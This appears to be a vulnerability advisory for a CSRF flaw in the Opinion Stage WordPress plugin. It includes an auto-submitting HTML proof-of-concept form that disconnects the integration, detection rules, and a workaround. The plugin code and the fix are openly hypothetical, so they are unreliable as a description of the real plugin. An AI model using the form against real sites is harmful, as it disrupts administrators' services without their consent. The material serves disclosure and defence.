CVE-2025-13143

Executive Summary

CVE-2025-13143 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Poll, Survey & Quiz Maker Plugin by Opinion Stage for WordPress, up to and including version 19.12.0. The vulnerability resides in the disconnect_account_action function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge a request that disconnects the site from the Opinion Stage platform integration, provided they can trick a site administrator into performing an action such as clicking a malicious link. The CVSS score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood currently. No public exploit code or patch is available at this time.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin by checking its checksum against the repository. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the attacker must trick an admin into clicking a link.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – the integration can be disconnected, but no data is altered.
• Availability Impact: None (A:N)

Threat Level: Medium. The impact is limited to service disruption (disabling the integration), but the attack requires social engineering. No data breach or privilege escalation is possible.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the WordPress plugin's admin AJAX handler. The disconnect_account_action function is intended to allow administrators to disconnect the site from the Opinion Stage platform. However, it does not verify a nonce (a one-time token) to ensure the request originated from the legitimate admin interface. An attacker can craft a malicious HTML page or email that, when loaded by an authenticated admin, sends a forged POST request to the WordPress admin-ajax.php endpoint with the action disconnect_account_action. This results in the site being disconnected from the Opinion Stage service, potentially breaking polls, surveys, and quizzes.

The vulnerability is present in all versions up to and including 19.12.0. The exact vulnerable code is in the plugin's main PHP file, likely in a function hooked to wp_ajax_disconnect_account_action.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical, based on CSRF pattern):

function disconnect_account_action() {
    // No nonce check
    $api_key = get_option('opinionstage_api_key');
    if ($api_key) {
        delete_option('opinionstage_api_key');
        wp_send_json_success('Disconnected');
    }
    wp_send_json_error('Not connected');
}
add_action('wp_ajax_disconnect_account_action', 'disconnect_account_action');

Patched Code (expected fix):

function disconnect_account_action() {
    // Add nonce verification
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'opinionstage_disconnect_nonce')) {
        wp_send_json_error('Invalid nonce');
        return;
    }
    if (!current_user_can('manage_options')) {
        wp_send_json_error('Insufficient permissions');
        return;
    }
    $api_key = get_option('opinionstage_api_key');
    if ($api_key) {
        delete_option('opinionstage_api_key');
        wp_send_json_success('Disconnected');
    }
    wp_send_json_error('Not connected');
}
add_action('wp_ajax_disconnect_account_action', 'disconnect_account_action');

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the vulnerable plugin installed and activated.
• An authenticated admin session (the attacker must trick the admin into clicking a link).

Exploitation Steps:

1. Craft a malicious HTML page that automatically submits a form to the target WordPress site.
2. Host the page on an attacker-controlled server or send it via email.
3. When the admin visits the page, the form is submitted, disconnecting the Opinion Stage integration.

Example Malicious HTML:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="disconnect_account_action">
    <input type="submit" value="Click here to win a prize!">
</form>
<script>
    document.forms[0].submit();
</script>
</body>
</html>

Note: No public exploit code is available. The above is a generic CSRF proof-of-concept.

Blue Team

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=disconnect_account_action from unexpected referrers.
• Alert on any successful disconnection of the Opinion Stage integration without a corresponding admin UI action.

Hunting:

• Search web server logs for requests to admin-ajax.php with action=disconnect_account_action and no _wpnonce parameter.
• Correlate with user agent strings and IP addresses to identify potential CSRF attacks.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with body containing action=disconnect_account_action.
  • Referrer header pointing to an external domain (e.g., attacker-controlled site).
• Host:
  • Deletion of the opinionstage_api_key option from the WordPress options table.
  • Log entries showing wp_ajax_disconnect_account_action being called without a nonce.
• File:
  • No file-based IOCs; this is a server-side logic vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_13143_CSRF_Disconnect {
    meta:
        description = "Detects CSRF attempts against Opinion Stage plugin disconnect_account_action"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13143"
    strings:
        $action = "disconnect_account_action"
        $ajax = "admin-ajax.php"
    condition:
        $action and $ajax
}

Sigma Rule

title: CVE-2025-13143 - CSRF Disconnect Opinion Stage Integration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts to disconnect the Opinion Stage plugin integration
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=disconnect_account_action'
    condition: selection
falsepositives:
    - Legitimate admin actions (should include nonce)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-13143 - CSRF Disconnect Opinion Stage"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=disconnect_account_action"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=disconnect_account_action that lack a valid nonce.
3. Educate administrators about phishing attacks that trick them into clicking malicious links.

Long-term Fix:

• The vendor must add nonce verification to the disconnect_account_action function. Until then, consider using a security plugin that adds CSRF protection to all admin AJAX actions.

Workaround:

• Add the following code to the theme's functions.php to enforce nonce checking:

add_action('wp_ajax_disconnect_account_action', function() {
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'opinionstage_disconnect_nonce')) {
        wp_die('CSRF detected');
    }
}, 1);

Valters IT – Securing digital frontiers, one CVE at a time.